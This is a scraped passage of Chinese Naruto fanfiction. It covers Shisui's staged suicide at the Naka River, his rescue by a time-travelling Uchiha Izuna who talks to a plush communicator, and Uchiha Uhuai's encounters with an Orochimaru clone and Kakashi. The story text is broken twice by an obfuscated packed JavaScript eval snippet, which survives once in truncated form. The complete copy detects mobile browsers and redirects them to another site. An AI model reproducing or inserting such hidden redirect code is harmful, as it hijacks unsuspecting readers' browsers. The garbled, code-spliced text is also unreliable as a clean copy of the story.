“如果你现在去找团藏,会发生什么?”止水问,“你杀得了他吗?就算杀得了,然后呢?” 鼬没有回答。 “然后宇智波和村子的矛盾就彻底压不住了。”止水替他说出了答案。 鼬点头表示明白。 到时候,激进派会说:看,他们杀了止水,现在鼬去报仇了,我们不能再等了。保守派会说:事情闹大了,我们没办法回头了。 他不想这样,止水也不想。 止水的目光落在鼬脸上,然后问出了下一个问题。 “到时候,你觉得羽怀会怎么做?” 鼬的肩膀微微抖了一下。 “他会去找团藏。”止水说,“他会想为我报仇。他会……做你刚才想做的事。” 他的声音很轻,轻得像风。 “然后呢?佐助怎么办?美琴阿姨怎么办?族长怎么办?三代和自来也大人能怎么办?” 鼬闭上了眼睛。 他想起今天下午,在族会开始前看见的那个场景。 止水等待着鼬的回复,他相信鼬能明白他的意思。 鼬突然开口了:“羽怀今天说要给佐助买礼物。佐助想要一把忍刀。” 止水愣了一下,明显有些没反应过来:“佐助才七岁吧?” “嗯。” “羽怀答应了?” “嗯。” 止水沉默两秒:“……他打算让佐助七岁就开始练刀?他忘了自己七岁时哭着喊着说‘刀太重了我不练了’的事了?” 鼬想了想:“那次是你背他回家的。” “对,他趴我背上还哭了一路,鼻涕眼泪全蹭我衣服上。” 沉默。 几秒后,止水轻轻地笑了一声:“没办法,只有掌握强大的实力,才能在这个忍界活下来,活得更好。” 鼬没有回话,只是默默点头。 他们宇智波一族天才不少,但对训练的要求也一直很高。 天才终究不是强者,他们需要时间成长。 如果可以,他也希望自己的弟弟们能够稍微轻松一些,能做一些自己真正想做的事情。 三战结束后,忍界进入的相对和平的时期,一切都在变好。 街头的小贩也越来越多,许多忍者成家立业,结婚生子,忍者学校恢复六年毕业限制,新生代的人数也在增加…… 所以,他不能去。 他不能去报复团藏,至少现在不行。 他还要瞒住止水的事情,不能让羽怀知道。 不能让他知道真相。 鼬睁开眼睛。 他的眼眶有些红,但没有泪。 “那你呢?”他问。 “我没有给佐助准备什么礼物呀……” 止水笑了笑。 那笑容有些僵硬,可能是毒素的作用,总之并不是开心的笑,鼬只能从对方的眼神中判断出一些东西。 但鼬没有笑,只是默默地盯着他。 他问的当然不是这个。 “好吧,我受点委屈,没什么。”止水顿了顿,说道,“只要村子和族人能共存,我的目的也就达到了。” 鼬看着他。 嘴唇抿了又抿,但最后还是没说出一个字。 这是止水的决定,他尊重止水的选择,并且会背负着止水的那一份继续走下去。 他知道,止水说的是对的。 至少,从理智上来说是对的。 止水走后,他就是最大的哥哥了,他需要为两个弟弟负责,连带着止水的那份一起。 止水的手动了动,从怀里掏出一样东西。 那是一封信。信纸折得很整齐,边缘已经被血浸透了一角。 “这个。”他把信递给鼬,“是我的遗书。” 鼬接过信,手指有些抖。 “里面写的是……”止水顿了顿,“我没办法在族人和村子之间做出选择,所以选了这么懦弱的结局。很抱歉。” 鼬抬起头,看着他。 “这是假的。”他说。 止水是真正的英雄。 “嗯。”止水点头,“是假的。” 他望着南贺川的水面,望着月光在水波上碎成一片片银白。 “如果让族人知道我是被团藏杀的,他们不会善罢甘休。但如果让他们以为我是自杀的,因为无法抉择而跳崖自尽,他们至少会犹豫一下。” 他的目光从水面移开,落回鼬脸上。 “只要犹豫,就有时间。只要自来也大人和三代大人在,就有谈的余地。” 鼬攥紧了那封信。 信纸的边缘被他捏出褶皱,但他浑然不觉。 “还有一个。”止水又从怀里掏出另一封信,比第一封更小,折得更仔细,“这是给羽怀的。” 鼬接过那封信,动作很轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他只觉得似乎自己也中了根部的毒一般,全身麻木,尤其是喉咙,一直在发紧,这让他根本说不出话来。 南贺川在脚下流淌,水声哗哗,像千百年来的每一个夜晚。 鼬站在他身后,看着止水的背影。 那个背影很瘦,瘦得像随时会被风吹走。但站得很直,像一棵被雷劈过的树,虽然残破,却没有倒。 “鼬。”止水没有回头。 “嗯。” “以后的路,就靠你们了。” 鼬没有说话。 他只是看着那个背影,看着月光将那个背影的轮廓描得发亮。 然后止水向前迈了一步。 他的身体从岩石上落下,像一片被风吹落的叶子,轻飘飘的,没有声音。 鼬下意识地伸出手。 但什么都没有抓住。 水花溅起,在月光下碎成一片银白。然后水流继续流淌,像什么都没发生过一样。 水流不会在意有什么东西落在了自己身上,对它而言,宇智波止水的尸体和某块石头没什么区别。 鼬站在悬崖边,望着下面的南贺川。 月光照在水面上,照出流动的波纹,照出深黑的颜色。那个身影已经看不见了,被水流卷走,沉入黑暗之中。 他站在那里,站了很久。 久到月亮从云层中完全露出,久到夜风将他的衣角吹得猎猎作响,久到他的手指从僵硬变得麻木。 最后,他低下头。 两行血泪从他的眼眶中滑落。 不知何时,他的写轮眼已经处在了开启的状态。眼中的三颗勾玉缓缓转动,最后粘连成一副图案。 他的手里还攥着那两封信。一封沾着血,一封干干净净。 ———— 止水只觉得水从身体的四面八方涌来,冷得刺骨。 但他没有挣扎。 他的身体在向下沉,不断地向下沉,像是被一只无形的手拖向河底。毒已经让他的四肢失去了力气,连动一根手指都做不到。他只能任由水流将他卷走,任由黑暗将他吞没。 这样就好。 他想。 这样,鼬就能拿着那两封信回去,族人就会以为他是自杀的,村子和宇智波的谈判就能继续下去。 这样,羽怀就能…… 水灌进他的口鼻。 他想咳嗽,但咳不出来。肺里像被灌满了铅,沉甸甸的,压得他喘不过气。他已经看不见了,但能感觉到身体上的压力越来越大。 原来死是这样的。 他想。 不疼,只是冷。还有一点点……不甘心。 他还想看着弟弟们长大,想看着羽怀或者鼬成为火影,看着村子和宇智波真正和解。他还想…… 算了。 意识开始涣散。那些念头像水面的泡沫一样,一个一个地破灭,消失。 就这样吧。 突然。 一只手抓住了他。 那力道很大,大得像一把铁钳,死死扣住他的手腕,将他从下沉的深渊中猛地拽住。 止水的意识被这突如其来的力道震得微微一颤。 谁? 他想睁开眼睛,但眼皮太重,根本睁不开。而且他的双眼都不在眼眶内,就算睁开眼也看不见。 他只能感觉到那股力量在拖着他向上,向上,穿过冰冷的水流,穿过无边的黑暗。 水声在耳边轰鸣。 然后…… “哗啦——” 他被托出了水面。 空气猛地灌进口鼻,带着河水的腥气和夜晚的凉意。止水剧烈地咳嗽起来,咳出呛进肺里的水,咳得整个胸腔都在发疼。 疼。 疼痛的感觉。 他还活着? 这个念头闪过脑海的瞬间,他感觉到有一只手托着他的后颈,另一只手扣在他的腰侧,将他整个人托在水面上。那只手很稳,稳得像一块礁石,任凭水流冲击也不动分毫。 有人在救他。 止水的意识依然模糊,但他能感觉到那个人在划水,带着他向岸边移动。水流从身边掠过,冰冷刺骨,但那个人托着他的地方却传来一丝暖意,像是体温,又像是查克拉。 是谁? 他想问,但发不出声音。嘴唇哆嗦着,只吐出一串气泡。 “别说话。” 一个声音从头顶传来。 声音听起来还算年轻,大概二十出头的年纪。但不是鼬的声音,也不是任何一个他认识的人的声音。 那是谁? 为什么要救他,难道是根部的人? 9.第9章 南贺川的河水在夜色中泛着细碎的银光,像是碎掉的陶瓷。 止水被拉上岸时,意识已经模糊了大半。 他感觉自己的身体被平放在河滩的碎石上,那些尖锐的石子隔着衣服硌着后背,带来一阵阵钝痛。 但能感到疼痛是好事,这意味着他还活着。 “咳咳!” 止水剧烈地咳嗽着,咳出呛进肺里的水。但每一次咳嗽都会牵动腹部的伤口,让那种麻痹感再次扩散了一些。 “别动。” 那个声音再次响起,止水很确定自己并不认识对方。 他想睁开眼睛,但现在他已经没有眼睛可以睁开了。 他的眼眶里空荡荡的,只有凝固的血痂糊在眼皮上,这让他连睁眼的动作都做不到。 他感觉到那个人蹲在他的身边,用手指按在他的手腕上,似乎是在探查脉搏。 “毒……”止水开口,声音沙哑得像砂纸摩擦,“是根部的毒,没救了。” 他没有等来回应。 只有夜风从河面上吹过,带着水汽和凉意,带来了细微的声响。 止水躺在河滩上,没有做别的动作。他在等,等那个人开口,开口就有可能暴露身份,就有可能露出马脚。 他是一名忍者。哪怕现在他就要死了,也不能放松紧惕。 “多谢……相救。”他慢慢地说,尽量让声音平稳,“但前辈……为什么要救我?” 沉默。 回应止水的只有南贺川的水声。 河水哗哗地流淌着,像千百年来的每一个夜晚一样。偶尔还有远处树林里传来的夜鸟叫声,只是几声,很快就又消失在夜色中。 那个人仍然没有开口,就像是没听懂他的话一样。 这就有些难办了。 止水的手指艰难地动了动。 他的查克拉已经所剩无几,毒正在吞噬他的身体,同时阻碍了他查克拉的恢复。但他还是尝试着调动最后的感知,去捕捉那个人的气息。 那个人就在他身边,保持蹲着的姿势,离他不到一臂的距离。他的气息很奇怪,明明就在那里,却像是被一层东西包裹着,让他感知不清具体的轮廓。 这种屏蔽气息的手段,毫无疑问是高手。 止水在心里做出判断。对方实力至少是上忍水平,甚至更高。 “前辈……”他再次开口,这次换了一个角度,“你是木叶的人吗?” 那个人终于有了反应。 不是说话,而是一声极轻的吸气声,像是被这个问题触动了一下。 止水的心里微微一动。 他继续问:“是……根部的人?” 那个人的呼吸顿了一瞬。 很短暂,但止水还是注意到了。 他的身体虽然快要死了,但他的感知还在。他是一名宇智波,他的写轮眼虽然没了,但他的直觉仍旧敏锐。 不是根部。 那个反应,不是根部的人会有的反应。 止水正想继续追问,却忽然听见了一阵窸窸窣窣的声音,像是有人在翻什么东西。 对方在翻书? 他愣了一下。 下一刻,那个人的声音响起,带着一点疑惑:“别动,我正在找” 找什么? 止水正想问,就听见那人继续嘀咕:“这种伤势应该这么处理吗?而且这人的话还那么多,是不是其实状态还不错?书里写的伤者都是安安静静躺着的。” 止水:“?” 他反应了两秒,才意识到对方在说什么。 对方似乎是在翻治疗相关的书籍。 “前辈,”他的声音虚弱但忍不住,“我还没死,我能听见。” 对方的年龄比他大,也是忍者,叫声前辈总归是没问题的。 那个人沉默了一瞬。 然后那窸窸窣窣的声音停了,有什么东西被塞回怀里的动静。 “知道你能听见。”那个人的声音恢复了平静,“所以别乱动,我在研究治疗方案。” 止水张了张嘴,不知道该说什么。 他被人从河里捞起来,这人救他的方式是在河边现翻书? 但他已经没有精力吐槽了。毒素正在吞噬他的身体,麻痹感已经从腹部爬到胸口,每一次呼吸都要用尽全力。 “我得先确定一些事情。”那个人突然开口,语气中带着明显的不确定,“你,是不是背叛了村子?” 止水愣了一下。 “什么?” “我问你。”他说,尽量让每一个字都清晰,“你是不是已经背叛了村子?你现在是不是叛忍?” 背叛村子? 这个人,居然在问他是不是背叛了村子? 他原本以为对方可能是间谍,可能是根部的人,可能是任何一个对木叶心怀不轨的势力派来的。他准备了很多种应对的方式,准备了很多种试探的话术。 但他从没想过,对方会问出这样一句话。 “我——”止水顿了顿,有些莫名其妙,“我没有背叛村子。” 那个人没有说话。 但止水能感觉到,那股笼罩着自己的气息微微动了一下。像是在,松了口气? 不,不对。 止水的思绪飞速运转。 这句话本身就很奇怪。如果对方是木叶的人,为什么要用“村子”这样的称呼?木叶的忍者通常会直接说“木叶”,而不是这样模糊的“村子”。而且那句话里的犹豫…… “阁下。”止水开口,尽量让自己的语气听起来只是单纯的好奇,“您说的‘村子’……是指木叶村吗?” 又是一阵沉默。 那个人没有说话。 不是木叶的人。不是根部的人。对“村子”这个词的反应奇怪到极点,甚至可能不知道木叶这个名字。 这真的是生活在忍界的人吗?不会是哪个深山里蹦出来的老古董吧? 毒素仍旧在吞噬他的身体,麻痹感已经从腹部爬到胸口,每一次呼吸都要用尽全力。但止水的思绪还在转,像一台被强行驱动的机器,在最后的燃料耗尽之前拼命运转。 晓组织。 这个名字闪过脑海的瞬间,止水的手指动了动。 他在暗部时接触过晓组织的情报。那是一个只招收S级叛忍的组织,成员个个都是怪物,活动范围遍及整个忍界。他们的目的不明,背景不明,只知道他们在收集巨额资金,网罗各路强者。 如果是晓组织的人,那么询问他是否背叛村子就可以解释的通了。 “前辈。”止水开口,声音已经很虚弱了,但他尽力让每一个字都清晰,“您是……晓组织的人吗?” 沉默。 比之前更长的沉默。 止水等在那里,等着对方的反应。呼吸越来越困难,胸口像是被什么东西压住,每一次吸气都要撕裂肺叶。 他没指望对方给出直接的答复,他只要感受对方的气息就能判断出足够的情报。 那个人没有说话。 但止水能感觉到,那股笼罩着自己的气息微微动了一下。不是紧张,也不是愤怒,反而更像是……意外? 不,不对。 止水的思绪已经有些模糊了,但他还是捕捉到了那个反应的异常。如果是晓组织的人被认出身份,通常会有两种反应:要么直接动手灭口,要么大方承认然后顺势对他发出邀请,等他拒绝后再灭口。但这个人…… 他什么都没做,也什么都没说。 只是沉默。 那种沉默里并没有杀意,也没有警惕,只有一种……困惑?但为什么会是困惑呢? “晓组织……”那个人的声音终于响起,像是在咀嚼一个陌生的词汇,“那是什么?” 止水愣住了。 那是什么? 不是晓组织的人,并且也不是别的忍村的高层。 晓组织在忍界已经活动了好几年,各大忍村都有他们的情报。 “您……不知道晓组织?”止水问。 那个人没有回答。 止水等了一会儿,毒性发作让他浑身难受。麻痹感已经蔓延到肩膀,他的手指已经完全动不了了。但他还是在想,拼命地想。 不知道晓组织。不知道木叶。不知道现在这个时代的常识。 “前辈。”止水开口,声音已经轻得像一根即将断掉的丝线,“您……到底是谁?” 那个人依然没有说话。 但止水能感觉到,一只手按上了他的胸口。查克拉顺着手掌不停的往他身体里灌,就和不要钱一样。 对方的查克拉量出其的庞大,远超普通上忍,但止水的毒已经扩散得太深了,再多的查克拉也只是延缓,不能逆转。 “好了,别问了。”那个人的声音响起,低沉而简短。 止水闭上了嘴。 但他的意识还在飘。飘过那些没有答案的问题,飘过那些无法解开的谜团。这个人是谁?从哪里来?为什么会出现在这里?为什么要救他? 还有……那个“晓组织”的反应。 他不知道晓组织。这个名字对他来说是陌生的。这意味着他不是从其他忍村来的间谍,不是那些游走于黑暗世界的亡命之徒。他对这个时代的了解,少得可怜。 那他…… “算了,现在的医疗忍术变化太大,乱来我也没有把握。” 那个人的声音打断了他的思绪。 “而且认错人也是我的问题,总不能把你再扔回去吧。” 认错人?扔回去? 溺水的滋味并不好受,他不想再体验一次。 止水的意识已经快要散开了,但他还是捕捉到了这几个字。 他认错人了,认错谁?他在找谁? “救都救了。”那个人的声音继续传来,像是在自言自语,“看在同族的情谊上,就帮到底吧。” 同族。 是宇智波的族人?但他为什么从来没听过这个声音? 止水想说什么,想问问这个人到底是谁,想问问这个人说的“认错人”是什么意思。但他已经说不出话了。 他只感觉到有什么东西刺进了他的脖颈,似乎是某种针剂。 然后他的意识就像突然沉入海底了一样,进入了无边的黑暗。 月光照在河滩上,照出那个蹲在止水身边的年轻身影。 他的身材修长,发型与佐助类似,但要略长一些,并且多了一个辫子。 宇智波泉奈将针剂放到一边,然后伸手探进怀中。 他用手指捏住一个柔软的东西,将它从怀里夹了出来。 那是一只毛绒玩具。脑袋和身体合二为一,由一个圆滚滚的球形代替,球体背后是一根毛茸茸的尾巴。 泉奈将玩具举到面前,盯着那两只大眼睛。 “老女人,你在吗?”他低声说。 玩具的嘴巴动了起来。 “叫谁老女人呢?” “这里就我们两个,不叫你叫谁?” “你不知道这三个字属于脏话吗?”玩偶的嘴巴一张一合,声音明显提高了几度,“我好心帮你占卜,你就这么对我?” 泉奈没有接话。 他蹲下身,将玩偶放在一块平整的石头上,让那两只眼睛正对着自己。然后他伸出手,指了指躺在河滩上的止水。 “你说的,我未来的弟子,是他?” 玩偶的眼睛转了转,就像只是光线造成的错觉一般,然后那个声音再次响起: “显然不是,年龄大了些。” 泉奈的眉头动了动。 “让我用水盘仔细看看。”玩偶的声音变得有些认真,“虽然不是,但他们的关系很密切。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304824|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是在为你的失误挽尊吗?” “定位有误差很正常!”玩偶理直气壮,“跨时空导航本来就容易飘,你当年在战国时代用指南针还经常走反方向呢!” 泉奈眉头一挑:“那是因为尼桑老把指南针拿反,关我什么事?” “行行行,都怪你哥。”玩偶说,“反正我的占卜没问题,是你没有耐心,认错人了。总之,现在你已经把人救了,这个世界的世界线已经变了,我的占卜肯定会失效了。” 泉奈沉默了两秒。 他低头看了看南贺川上下游,又看了看躺在地上的止水。 “……你们这个世界的东西,都不靠谱。”他最后憋出一句。当然,这明显是迁怒。 “‘你们这个世界’?”玩偶的声音拔高了一点,“这玩意儿是你从我这儿硬抢过去的!你自己用不明白怪我?” 泉奈面无表情地把玩偶翻了个面,让它背对自己。 “你话太多了。” 玩偶的声音从背面传来,闷闷的:“你以为翻面我就说不了话?我是跨时空通讯器,不是真的玩偶!宇智波泉奈,你今年多大了?” 泉奈没理它。 他又把玩偶翻了回来,盯着那两只眼睛:“所以说,我的弟子,没了?” “不知道。”玩偶说,语气稍微正经了一点,“应该不需要我提醒你,你不能过多干预这个世界,否则会被警告的。” “无所谓,我被警告的次数也不少。而且,拉一个新人得到的奖励足够抵消警告的惩罚了。” 玩偶没有回话。 泉奈等了一会儿,没等到下文。 “怎么?”他问,“你说他和我未来的弟子有联系,有什么联系?” “让我看看,啊!” 玩偶蹦哒了一下。 “我知道你为什么找错人了。” 泉奈眉头一挑。 “为什么?” “你来的早了一些,现在他还没成为叛忍呢?” “早了一些是多久?” “两个…小时…?” 玩偶的声音变得断断续续,但关键信息已经传递到了。 还好只是早了两个小时,要是早了两年他就一点办法都没有了。 他只能在这个世界停留一周的时间,并且不能做出什么出格的事情,否则会有不好的事发生。 比如刚刚他将这个同族救下,马上他就感觉到了一股来自世界意识的排斥。 具体表现为,他之后的一段时间会变得很倒霉…… 嘟嘟嘟—— 一阵忙音传来。 兔子的眼睛闪了闪,声音变得断断续续:“信……信号……不稳定……跨……跨时空通话……耗能……太……太……” “太什么?”泉奈皱眉。 “太费电……了……嘟嘟……下次……要加钱……” 然后玩具发出“嗞——”的一声长鸣,眼睛彻底暗了下去。 泉奈愣住。 他把玩偶举到眼前晃了晃:“老女人?喂?” 没反应。 他又拍了拍玩偶圆滚滚的肚子,还是没反应。 沉默两秒。 泉奈面无表情地把玩偶塞回怀里,自言自语:“行吧。已经开始倒霉了,得快点找到人然后离开才行。” 他站起身,走到止水身边,弯腰将人扛起来,挪到不远处一棵大树下。 他让止水靠着树干坐好,又从怀里掏出那本《急救手册》翻到最后一页,确认了一遍“中毒处理后要让伤者保持半坐姿势”的说明,才点了点头。 他是战国时代的老古董了,现在的医疗忍术发展很快,他也摸不太准。 保险起见,他就直接用了万能解毒剂。 这是他在别的世界冒险收获的战利品,关键时刻可以救命。 然后泉奈从忍具包里掏出一根细细的铁丝,在周围半径五米内布了一圈简易的警戒线,这也是战国时期野外的老派作风,不过依然有效。 布完警戒,他回到树下,在止水对面盘腿坐下。 他没有立刻闭目凝神,而是从怀里掏出一堆零零碎碎的东西,在面前的石头上依次摆开: 一本《急救手册》,几乎是全新的。 那只会说话的玩偶,此刻安静得像个正常玩偶。 一个巴掌大的指南针,指针确实在乱转。 几颗战国时期风格的兵粮丸,很难吃。 以及一块用布包着的护身符。 泉奈盯着这堆东西看了两秒,开始低声盘点: “急救手册看了一半,感觉用处不大,还是扔了吧。” “玩偶话太多但勉强能用,万一它又好了也能帮上忙。” “指南针坏了……但可以当苦无配重用。” “兵粮丸还剩三天的量。” “护身符……” 他拿起那块护身符,用拇指摩挲了一下上面的字。 那是一个“斑”字。 这是他的哥哥,宇智波斑送给他的。 他的声音很轻,轻得像一片落叶:“尼桑给的,不能丢。” 他把护身符贴在心口贴了一秒,然后小心地收进怀里最里层的暗袋。 剩下的东西也一件一件收回原处,动作认真得像在进行某种古老的仪式。 做完这一切,他抬头看了眼月亮。 月光很亮,时间离天亮还早。 他忽然轻轻地叹了口气,声音低得几乎听不见:“也不知道这个世界的尼桑现在在干什么……或者说,还活着吗?” 然后他摇了摇头,把那些思绪晃出去。 “算了。”他说,“先去找人。” 宇智波泉奈起身,顺着河边往前走去。 他的身影很快消失不见,河滩恢复寂静,只剩下南贺川的水流声,和远处偶尔响起的夜鸟啼鸣。 10.第10章 月光从止水宅纸门的缝隙漏进来,在榻榻米上切出一道细长的白线。 宇智波羽怀的刀还架在大蛇丸的脖子上。刀刃切开了皮肤,却没有血渗出来。 这个发现让羽怀的瞳孔微微收缩。 “分身?” 他问得很轻,手里的刀没有收回的意思。 大蛇丸作为三忍之一,自然没有那么好对付,哪怕是他,也没办法处理对方诡异的忍术。 大蛇丸的笑容更深了。那张苍白的脸在月光下泛着不正常的青色,那双竖瞳里的光芒亮得有些刺眼。 “羽怀君果然敏锐。”他说,“不过就算是分身,被砍一刀也会疼的。所以能先把刀收起来吗?我们好好谈谈。” 羽怀没有动。 他的视线越过刀锋,落在大蛇丸的脖颈上。那道伤口确实没有血,只有一层薄薄的查克拉在缓慢蠕动,试图将切开的皮肤重新黏合。 确实是分身。而且是相当高级的分身,连查克拉气息都模拟得几乎完美。 “止水在哪?”羽怀问。 “羽怀君。”大蛇丸的声音依然不紧不慢,“那是需要收费的情报。” 羽怀没有说话。 他只是看着大蛇丸。他那双蛇瞳里闪烁的玩味,脸上带着笃定的笑容。 那种笑容他很熟悉,在任务中见过太多次了。 那是掌握了筹码的人才会有的表情,是笃定对方不得不接受交易的人才会有的姿态。 大蛇丸在等他开口答应。 不过,他可不是什么任人拿捏的软柿子。 羽怀的手腕动了。 刀光一闪。 大蛇丸分身的头颅飞了起来。 那张脸上的笑容甚至还没来得及变化,那双蛇瞳里的玩味甚至还凝固在原处。 头颅落在地上,滚了两圈,撞在院墙根下停住。 无头的身体晃了晃,向前倾倒,在砸到地面的瞬间化作一团白烟,消散在月光里。 只剩那颗头颅还留在墙根下,脸上的笑容终于开始扭曲,嘴唇张合,发出最后的声音: “羽怀君……真是急性子……” 然后它也散了。 白烟散尽,院子里恢复寂静。 羽怀收刀入鞘。 他没有去看那团白烟,而是转过身,目光越过止水家的院墙,望向某个方向。 直接击杀大蛇丸的分身目的有两个,一个是展现自己对合作的态度。并不是不能合作,而是觉得对方没有诚意。否则他会一见面就将对方砍了。 当然,和大蛇丸合作风险无疑相当的高,而且恶徒之间的合作从来不可能是坐在某个房间里谈出来。 只可能是在互相奈何不了对方之后的妥协。 另一个则是因为现在的情况并不适合谈合作。 有人来了。 来人并没有刻意隐藏气息,这说明对方大概率是自己人。 查克拉气息很熟悉,大概是暗部,但比普通的暗部更强,更凝练,而且还带着一种特殊的锋锐感。 是卡卡西。 羽怀站在原地,没有动。 几秒后,一道身影从院墙外翻进来,落在庭院中央。 卡卡西原本有些慵懒的神色消失不见,此时的他才像是一名经验丰富的暗部队长。 他的目光在院子里转了一圈,最后落在羽怀身上。 “我好像感知到了大蛇丸的气息?” 虽然像是在问问题,但并没有寻求答案的意思。 “分身。”羽怀说,“跑了。” 卡卡西没有追问。他只是走过来,在羽怀身边站定,那只独眼扫过院墙根下残留的白烟,又扫过羽怀的脸。 “你没事吧?” “你觉得呢?” 羽怀的回答同样简短,但带着属于小孩子的不满。 卡卡西看着他,那只独眼弯了弯。原本脸色严肃的神色快速消失。 “我觉得……”他拖长声音,“你刚才砍那个分身的时候,姿势还挺帅的。不过收刀的动作太急了,刀刃和刀鞘撞了一下,下次注意。” 羽怀愣了一下。 他下意识低头看了看自己的刀鞘。 “……你连这个都看得见?” “拷贝忍者卡卡西,”卡卡西指了指自己的写轮眼,“复制过一千多种忍术,这点眼光还是有的。况且我父亲也是刀术大师,对这些还是有些在意的。” 羽怀:“……这是重点吗?” “不是吗?” 两人对视了两秒。 羽怀突然问:“你对别人不是这样的。” 卡卡西想了想,认真回答:“对敌人,我不会废话。对陌生人,我懒得说话。对同伴的话,另说。” 羽怀没说话。 但他的耳朵尖红了一点。 月光下,那点红特别明显。 卡卡西看见了,没戳破,只是又伸手揉了揉他的头。 “好了,问正事,你真的没事?” 羽怀偏过头,躲开他的手。 “说了没事。” “那你耳朵红什么?” “月光照的。” “月光还能照红耳朵?” “宇智波一族的血继限界,不行吗?” 卡卡西沉默了。 两秒后,他认真点头:“行,你们宇智波说什么都行。” 虽说被卡卡西的几句话打断了思路,但羽怀不会忘记对方的任务。 卡卡西的任务就是去找止水和鼬,现在他出现在这里大概是知道止水和鼬的情况了。 大蛇丸的志在必得基本已经说明了问题,鼬的状态更是印证了这一点。 他要试探一下卡卡西,看看能否和大蛇丸的消息交叉验证。 两人之间沉默了几秒。 卡卡西的目光落在羽怀手中的刀上,又移开。他没有问大蛇丸为什么会出现在这里,也没有问大蛇丸说了什么。 他只是站在那里,用那种小队忍者之间特有的方式,表明自己的立场。 小队忍者之间总是这样相互掩护,相互陪伴,这也是木叶最引以为豪的火之意志,或者羁绊什么的。 但羽怀不需要陪伴。 他需要答案。 “卡卡西哥哥。”他开口了,声音与和大蛇丸交流时完全不同,“找到止水了吗?” 卡卡西的肩膀微微动了一下。 很轻微的动作,轻微得几乎察觉不到。但羽怀看见了,这也足够了。 他没有催促。只是站在那里,月光把他的影子拉得很长,投在止水家院子里的石板地上。 卡卡西沉默了两秒。 “……还没有。”他说。 羽怀的手指动了动。 “你不用瞒我。”他说,“我已经知道了。” 卡卡西抬起头,那只独眼里闪过一丝意外。 “知道什么?” “止水死了。”羽怀的声音依然平静,“死在团藏手上。” 卡卡西没有说话。 他只是看着羽怀,看着那张在月光下显得过于平静的脸。那双乌黑的眼睛里没有泪,没有愤怒,只有一种沉甸甸的黑,黑得看不见底。 几秒后,卡卡西伸出手,按在羽怀的头顶。 那只手很大,带着常年握苦无磨出的薄茧,却意外地轻。他揉了揉羽怀的头发,把那些原本就有些凌乱的黑发揉得更乱。 “小羽怀。”他说,声音里带着一丝无奈,“你诈我也没用。” 羽怀的身体僵了一下。 “好吧看来你真的是在诈我。”卡卡西说着,语气恢复轻松。 他的手还按在羽怀头顶,没有移开。 “止水也许还没死。”他说,声音放得很轻,“我的通灵兽,也就是帕克,在南贺川附近找到了他的气息。虽然人不在那里,但气息还在。说明他至少在那个时间点还活着。” 羽怀抬起头。 月光照进他的眼睛里,照出里面翻涌的东西。不是惊喜,不是宽慰,而是更复杂的情绪。 他对此十分怀疑,但还有一点点不敢承认的希望。 但很快,这股希望被压下。 他不能寄希望于别人身上。 “气息?”他问,“只是气息?” 卡卡西点了点头。 “我已经将情况汇报上去了,火影大人已经派忍者去找了。”他顿了顿,“所以,你不用太担心,也许你睡一觉后,你哥哥就回来了。” “可能吧。” 羽怀眼里的光暗淡下来,这种谎话骗不了他。 团藏对止水出手的事,卡卡西并没有否认。 而团藏对止水出手是一件非常合理的事情。 无论是之前火影大楼团藏的挑衅,还是团藏对止水计划以及瞳术的了解,还有团藏对宇智波一族的态度,都说明他对止水出手几乎是必然的。 他绝对容忍不了别天神这样的忍术掌握在宇智波一族的手里。 当然还有鼬的异常表象,除了止水遇害,他也想不到还有什么事能让鼬这么狼狈。 而只要团藏对止水出手,那么现在的情况就指向了唯一的一种可能,止水没有活着回来。 这个念头从脑海深处浮起来的时候,宇智波羽怀甚至没有感觉到意外。 它就像一颗早就埋在那里的种子,被大蛇丸那句“夺走了他的一只眼睛”浇灌,被卡卡西那句“气息还在”催熟,终于在这一刻破土而出。 他在任务中常与根部忍者对接,足够了解他们的行事风格。 不出手则已,一出手就必须确保目标死亡。团藏既然敢对止水动手,就一定是做好了万全的准备。 止水活不了。 就像他可以在情报碾压的情况下杀掉大蛇丸一次,团藏在有充足情报偷袭的情况下也能杀掉止水。 当然,更重要的是,就算他还能喘气,他也不会回来,因为他知道,如果自己活着回到族里,会发生什么。 羽怀闭上眼睛。 他能想象那个画面。 如果大蛇丸的消息属实,其实他觉得基本就是属实的了,大蛇丸没必要撒这样的谎,那么止水的写轮眼已经被团藏夺走了。 当族人们知道是团藏夺走了止水的写轮眼后,政变就不是一个单纯的政治问题了,而是会彻底变成一场复仇。 到时候木叶大概又会经历一次九尾之乱那样的浩劫。 新仇旧恨会一起被清算。 九尾之乱的冤屈、警务部被削权的憋屈、这些年被排挤出村子中心的愤懑,全部会在这个瞬间爆发。 激进派会第一个冲出去,保守派也会被裹挟着跟上。富岳族长就算想拦也拦不住,当然,那个时候他可能也不想拦了。 到时候就算三代有魄力,能直接把团藏杀了,也平息不了那场火。况且到了那个时候,高层也会被迫团结在一起,根本不可能杀团藏。 所以最后,三代也只能集结整个村子的力量镇压宇智波的叛乱。 最后大概还是木叶会赢,但也绝对不会有多好过。 无论结果如何,木叶都会元气大伤,而木叶之外,其他国家的忍村正虎视眈眈。 而这也不是止水想看到的。 所以止水他不会回来。 他可能会想着,自己牺牲一下就能换来族人和村子的和平,这可太值了。 但羽怀觉得这种和平并不可靠,也不值得。 羽怀睁开眼,月光落在他的手背上,照出那些细小的青筋。 像止水这样愿意为了村子牺牲自己的人并不是没有,至少他就还知道两个。 鸣人的父母,四代火影夫妇。 波风水门,平民出身的天才忍者。第三次忍界大战中被称为金色闪光,能让敌国忍村发出“见到金色闪光可以无条件放弃任务而不受惩罚”的男人。 同时也是用生命封印九尾的木叶英雄。 他和他的妻子,也就是上任九尾人柱力漩涡玖辛奈,都牺牲在了九尾之乱中。全村人都为他们的逝去而感到悲痛。 那么然后呢? 